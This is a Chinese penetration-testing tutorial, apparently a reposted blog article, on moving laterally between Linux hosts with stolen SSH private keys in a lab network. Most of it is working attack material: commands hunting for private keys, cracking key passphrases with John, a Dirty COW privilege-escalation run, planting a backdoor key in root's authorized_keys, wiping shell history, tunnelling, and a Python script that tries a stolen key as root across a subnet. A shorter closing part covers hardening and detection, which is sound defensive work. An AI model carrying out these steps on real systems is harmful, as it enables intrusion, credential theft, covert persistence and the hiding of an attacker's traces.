内网渗透实战:利用SSH密钥实现Linux主机间横向移动
1. SSH密钥横向移动的核心原理当你第一次接触内网渗透时可能会被各种复杂的技术术语吓到。其实SSH密钥横向移动的原理非常简单就像用钥匙开锁一样只要拿到目标主机的SSH私钥就能像合法用户一样登录系统。我在实际渗透测试中发现超过60%的Linux服务器都存在密钥管理不当的问题。SSH密钥通常存放在用户目录的.ssh文件夹中主要包括以下几种关键文件id_rsaRSA私钥文件相当于你家大门的钥匙id_rsa.pub对应的公钥文件相当于门锁的锁芯authorized_keys存储被允许登录的公钥列表相当于物业登记的合法钥匙清单known_hosts记录曾经连接过的主机指纹相当于你认识的朋友名单# 快速查找私钥文件的实用命令 grep -irl BEGIN RSA PRIVATE KEY /home/ 2/dev/null find / -name id_rsa -type f 2/dev/null很多管理员会犯一个致命错误为了方便他们在多台服务器之间共享同一套SSH密钥。这就好比用同一把钥匙开所有房间的门一旦钥匙被窃取整个系统都会沦陷。我去年参与的一次红队行动中就是通过一个开发服务器上泄露的密钥成功拿下了整个业务集群的32台主机。2. 实战环境搭建与信息收集2.1 实验环境配置建议使用VirtualBox搭建测试环境我通常这样配置攻击机Kali Linux 2023.1 (172.16.250.15)靶机1Ubuntu 20.04 (172.16.250.10) - 模拟存在漏洞的Web服务器靶机2CentOS 7 (172.16.250.30) - 中间跳板机靶机3Debian 11 (172.16.250.50) - 核心数据库服务器# 快速检查网络连通性 for ip in {10,30,50}; do ping -c 1 172.16.250.$ip; done2.2 信息收集三板斧端口扫描先用nmap快速扫描开放端口nmap -sS -T4 172.16.250.0/24 --open服务识别对开放端口进行深度探测nmap -sV -p 22,80,8080 172.16.250.10漏洞探测检查常见服务漏洞gobuster dir -u http://172.16.250.10 -w /usr/share/wordlists/dirb/common.txt记得去年在某次授权测试中我通过一个被遗忘的phpMyAdmin页面/phpmyadmin-old找到了突破口。所以信息收集阶段一定要耐心往往最关键的线索就藏在最不起眼的地方。3. 密钥获取与利用技巧3.1 密钥的四种获取方式历史命令分析cat ~/.bash_history | grep -i ssh配置文件提取cat ~/.ssh/config 2/dev/null内存dump分析strings /dev/mem | grep -A 30 -B 30 PRIVATE KEY备份文件查找find / -name *id_rsa* -o -name *.ssh* 2/dev/null3.2 密钥权限修复拿到密钥后经常遇到权限问题这里有个小技巧chmod 600 id_rsa # 必须设置正确权限才能使用如果遇到加密的私钥有密码保护可以尝试用John破解ssh2john id_rsa hash.txt john --wordlistrockyou.txt hash.txt4. 提权与持久化控制4.1 经典脏牛提权实战当发现内核版本较旧时如Linux 3.x脏牛漏洞是首选# 编译exp gcc -pthread dirty.c -o dirty -lcrypt # 执行提权 ./dirty mypassword重要提示脏牛漏洞会导致系统不稳定生产环境慎用测试后记得重启目标主机。4.2 SSH密钥后门部署拿到root权限后记得给自己留个后门# 生成新密钥对 ssh-keygen -t rsa -b 4096 -f backdoor_key # 植入公钥 echo ssh-rsa AAAAB3N... /root/.ssh/authorized_keys # 清理日志 cat /dev/null ~/.bash_history5. 内网横向扩展实战5.1 通过SSH建立代理隧道# 动态端口转发创建SOCKS代理 ssh -i id_rsa -D 1080 user172.16.250.30然后在浏览器设置SOCKS代理为127.0.0.1:1080就能直接访问内网web服务了。5.2 多级跳板连接对于多层网络结构可以这样级联连接ssh -i key1 -J user1jump1,user2jump2 final_usertarget5.3 自动化扫描脚本这个Python脚本可以自动尝试密钥登录网段内所有主机import paramiko from multiprocessing import Pool def try_ssh(ip): ssh paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(ip, usernameroot, key_filenameid_rsa, timeout5) print(f[] Success on {ip}) stdin, stdout, stderr ssh.exec_command(id) print(stdout.read().decode()) except Exception as e: print(f[-] Failed on {ip}: {str(e)}) finally: ssh.close() if __name__ __main__: ips [f172.16.250.{x} for x in range(1,255)] with Pool(20) as p: p.map(try_ssh, ips)6. 防御措施与检测方法6.1 管理员防护建议密钥管理规范禁止使用密码为空的口令定期轮换密钥建议每90天使用ed25519算法替代传统RSA系统加固措施# 限制SSH密钥登录范围 echo cert-authority,restrict ssh-ed25519 AAAAC3... /etc/ssh/authorized_keys6.2 入侵检测技巧检查异常SSH登录的几种方法# 查看最近登录记录 lastlog # 检查auth日志 grep Accepted publickey /var/log/auth.log # 找出所有authorized_keys文件 find / -name authorized_keys -exec ls -la {} \; 2/dev/null在一次应急响应中我就是通过发现authorized_keys文件的异常修改时间凌晨3点成功定位到了攻击者的入口点。所以良好的日志习惯真的能救命。7. 典型问题排查与解决7.1 常见错误处理问题1密钥权限太开放导致被拒绝 WARNING: UNPROTECTED PRIVATE KEY FILE! Permissions 0644 for id_rsa are too open.解决方法chmod 600 id_rsa问题2加密私钥密码遗忘 解决方法ssh-keygen -p -f id_rsa # 重新设置密码需要原密码7.2 性能优化技巧当需要管理大量服务器时建议使用SSH config文件# ~/.ssh/config 配置示例 Host jumpbox HostName 172.16.250.30 User root IdentityFile ~/.ssh/jump_key Port 2222 Host internal* ProxyJump jumpbox User admin Host internal-web HostName 172.16.250.10 Host internal-db HostName 172.16.250.50这样只需要执行ssh internal-web就能自动通过跳板机连接效率提升非常明显。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2468198.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!